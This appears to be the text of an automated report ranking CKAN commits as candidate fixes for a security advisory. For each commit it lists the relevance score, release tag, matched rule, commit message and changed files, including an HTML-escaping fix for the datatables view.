    + Bump packaging to avoid setuptools error To avoid this issue in... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: ckan-2.10.5 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + b6d88dba0483eac68d43c6adcb2521f6d6f1bacb +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: issue, error
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump packaging to avoid setuptools error To avoid this issue in setuptools>=71: https://github.com/pypa/setuptools/issues/4483 Also need to list pyparsing explicitly as requirement as it is no longer a packaging requirement
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + requirements.in + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update changelog + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: ckan-2.11.0 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + +
    +
    +
    +
    + + + + +
    +
    +
    + c1f611593f6d7cd5eb5ccc9389c6df1b235c454d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update changelog
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + changes/8397.misc + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8406 from ckan/backport-8404-to-dev-v2.10... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: ckan-2.10.5 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + ccb485d6eb799a48ab891a9047801aab3b34e0ed +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8406
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8406 from ckan/backport-8404-to-dev-v2.10 [Backport dev-v2.10] Update docs with notices regarding DataPusher and ckanext-scheming
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8405 from ckan/backport-8404-to-dev-v2.11... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: ckan-2.11.0 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a3ab6ecfd73bb83bffb7c12b0f2d478309dfcf66 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8405
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8405 from ckan/backport-8404-to-dev-v2.11 [Backport dev-v2.11] Update docs with notices regarding DataPusher and ckanext-scheming
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8404 from ckan/doc-notices Update docs with... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 25cbcb9d69b2128a40f28c37bfd44a053e43a715 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8404
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8404 from ckan/doc-notices Update docs with notices regarding DataPusher and ckanext-scheming
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8401 from ckan/extras-string compatibility fix... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + cb8424d9e778ab91d081a19ec41b9010ab7fac98 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8401
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8401 from ckan/extras-string compatibility fix for jsonb extras feature
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [#8395] remove owner_org with '' + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 71ed8c07f320ad9fc3c6b2202edff415652707f4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8395
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [#8395] remove owner_org with ''
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckanext/activity/tests/test_changes.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8403 from ckan/backport-8264-to-dev-v2.11... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: ckan-2.11.0 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + ff654d8523fc1e569d3abea33a5604634842268a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8403
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8403 from ckan/backport-8264-to-dev-v2.11 [Backport dev-v2.11] add missing head_extras block
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Escape data in datatables view + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: ckan-2.11.0 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9e89ce8220ab1445e0bd85a67994a51d9d3d2688 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Escape data in datatables view
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckanext/datatablesview/blueprint.py + + ckanext/datatablesview/tests/test_ajax.py + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8402 from ckan/backport-8397-to-dev-v2.11... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: ckan-2.11.0 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + e39016302b5bc11b3c26c1d2b87e19c557261caa +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8402
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8402 from ckan/backport-8397-to-dev-v2.11 [Backport dev-v2.11] New `ckan config docs` command, Markdown serialiazer
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Add new `ckan config docs` command That generates the human-readable... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: ckan-2.11.0 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9f9604d85bab78b8d3582b930e5c19d5e4d35a8f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Add new `ckan config docs` command That generates the human-readable documentation that can be inserted in the docs or a README. Accepts a -f / --format flag to output rst (default) or markdown. (cherry picked from commit 7e36626376b087dc07f92f01ed166037e4abd18b)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/cli/config.py + + ckan/tests/cli/test_config.py + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Add Markdown serializer for config declaration This will be useful... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: ckan-2.11.0 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + +
    +
    +
    +
    + + + + +
    +
    +
    + 480f731894e518a0fb43aa9b873109b2a00aa2c6 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Add Markdown serializer for config declaration This will be useful for extensions to generate their config documentation, as they generally use Markdown READMEs (cherry picked from commit 73731e6b926d24ce8b9c388340334021ebb22879)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/config/declaration/__init__.py + + ckan/config/declaration/serialize.py + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [#8395] index test fixes + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 12f6cc8656b4be6d79e11cfd7cdf7c4f52ef9796 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8395
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [#8395] index test fixes
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/tests/lib/search/test_index.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [#8395] package_show use_default_schema=both + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + cb4859390e0390c73007ebdd0e40658f354c71ed +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8395
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [#8395] package_show use_default_schema=both
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/lib/search/index.py + + ckan/logic/__init__.py + + ckan/logic/action/create.py + + ckan/logic/action/delete.py + + ckan/logic/action/get.py + + ckan/logic/action/update.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8341 from JVickery-TBS/feature/dt-qol Datatables... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3179b4fe19d67ff58418acf112d92370f73c4a68 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8341
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8341 from JVickery-TBS/feature/dt-qol Datatables form UI Improvements
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8397 from ckan/config-declaration-md New `ckan... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 0f76f0315fa0a8cfda013d9ecce03e6531ddd5b7 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8397
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8397 from ckan/config-declaration-md New `ckan config docs` command, Markdown serialiazer
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8398 from ckan/line-lenght More lenient line... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b66400c984db7ae6adb6e206e446bd80f6cb09be +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8398
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8398 from ckan/line-lenght More lenient line length setting for linting
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [#8395] reindex on delete/purge group/org + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + df8a0296d8d159c2446a79f68daea0d7524a5c00 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8395
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [#8395] reindex on delete/purge group/org
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/logic/action/delete.py + + ckan/tests/logic/action/test_get.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [#8395] index modifies parameter, make copy + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 2a3e90f21f414ce6fe7b0de1ff34961b8681d5be +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8395
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [#8395] index modifies parameter, make copy
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/lib/search/index.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Do not use default: none in config declaration (cherry picked from... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: ckan-2.10.5 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + +
    +
    +
    +
    + + + + +
    +
    +
    + 1fe3b3f220f9979c0b9fb901683d88d510ac2693 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Do not use default: none in config declaration (cherry picked from commit 5af050101ec0b0138184684192a100c99842b332)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/config/config_declaration.yaml + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #7934 from... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + bebe9ee9e899a84c92eb2cbad0e26ca285345950 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 7934
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #7934 from TomeCirun/7723-fix-users-email-not-unique [7723]Fix user's email is not unique
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + chore: rename changelog fragment + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + c1de2498f49562dd85d079fe717610ba714437d6 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      chore: rename changelog fragment
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + changes/8410.feature + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + chore: use table name to check table existence + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + e5e9952ebd9ffef0a3ce2b58b262d7892ba51e62 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      chore: use table name to check table existence
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/model/__init__.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + chore: add changelog entry + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 63bb88a28bda749769c81f92d6f40080bce8219b +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      chore: add changelog entry
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + changes/8410.feat + + ckanext/activity/logic/auth.py + + ckanext/activity/model/activity.py + + ckanext/datastore/backend/postgres.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + chore: disable SQLAlchemy v2 migration warnings + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 7b4719730d946ed1a3704c0537873997e4c450b4 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      chore: disable SQLAlchemy v2 migration warnings
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pyproject.toml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Add initial workflow to push to testpypi + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + a2e52799a4f456c09b9089a96e0b7ba8ee7ea487 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Add initial workflow to push to testpypi
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/workflows/publish-pypi.yml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update version for 2.10.6b0 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 5708b61996f4040e38df0d4e4693e6a564fd5a74 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Update version for 2.10.6b0
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/__init__.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update version for 2.11.0b0 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 2d44fb183b3c2ad112270b381812e42e9bc1001a +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Update version for 2.11.0b0
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/__init__.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge branch 'dev-v2.10' into 2.10 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + a829110608eab7ed354074d4ecd9b84b2bad484c +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Merge branch 'dev-v2.10' into 2.10
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update version for 2.11.0 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: ckan-2.11.0 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 710dfff718859ff284f0e9feee70c1ecfc86677a +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Update version for 2.11.0
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/__init__.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update version for 2.10.5 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: ckan-2.10.5 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 66abe426634625b9cad7a67728e481f554436412 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Update version for 2.10.5
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/__init__.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge branch 'dev-v2.10' into 2.10 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 193bfc54e53300c75a0166eae0d413002fdae9d4 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Merge branch 'dev-v2.10' into 2.10
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Add test for convert_to_extras scenario + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 2f37de46256c460eabeb504563327c6e86b8e95c +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Add test for convert_to_extras scenario
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckanext/example_idatasetform/plugin_v5.py + + ckanext/example_idatasetform/tests/test_example_idatasetform.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + simplify default_show_extras_schema + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 295115b3f32d081b3b2824188b6a49a73006a3a6 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      simplify default_show_extras_schema
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/logic/schema.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + force str in convert_to_extras too + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + dc47268069ddf514c834a24290921a6d2d28a7ab +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      force str in convert_to_extras too
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/logic/converters.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge branch 'master' of github.com:ckan/ckan + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 07e89bfa1baad76d3afdb5f9b889187a58b50bb3 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Merge branch 'master' of github.com:ckan/ckan
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + changelog + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 9d70d10924467b7ab3846cf83770eb06146e653b +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      changelog
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + changes/8264.misc + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Add the body_extra block back + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 2e0528468dd3bc0dd867798332069d2d88375385 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Add the body_extra block back
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/templates/base.html + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge commit from fork html escape datatables cells + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 20a46fd764ae83178a0d2010bdb227f64a86e9ae +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Merge commit from fork html escape datatables cells
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Lint, changelog (cherry picked from commit... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: ckan-2.11.0 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 037a8b4a9512cbb8a39132196f5d72f1aec417c3 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Lint, changelog (cherry picked from commit c15e7a12556ec228fadbdbd562d69e3d0c3146f2)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + changes/8397.misc + + ckan/cli/config.py + + ckan/config/declaration/__init__.py + + ckan/config/declaration/serialize.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Add test case for direct non-string extras + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 830f4fefee10234c1c903e2dd24d080555884d95 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Add test case for direct non-string extras
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/tests/logic/action/test_create.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + remove unused import + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: ckan-2.10.5 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 3ffdc55caaab10dbb10b62e75a881a9596e2c50c +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      remove unused import
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/plugins/toolkit.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + More lenient line length setting for linting + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 4b52050a135bfc9a6e1b524e4e243fd707e307ac +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      More lenient line length setting for linting
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .flake8 + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Lint, changelog + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + c15e7a12556ec228fadbdbd562d69e3d0c3146f2 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Lint, changelog
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + changes/8397.misc + + ckan/cli/config.py + + ckan/config/declaration/__init__.py + + ckan/config/declaration/serialize.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Fix types + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: ckan-2.10.5 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + d586c43b99f858a4169790854b36af9069f84ad6 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
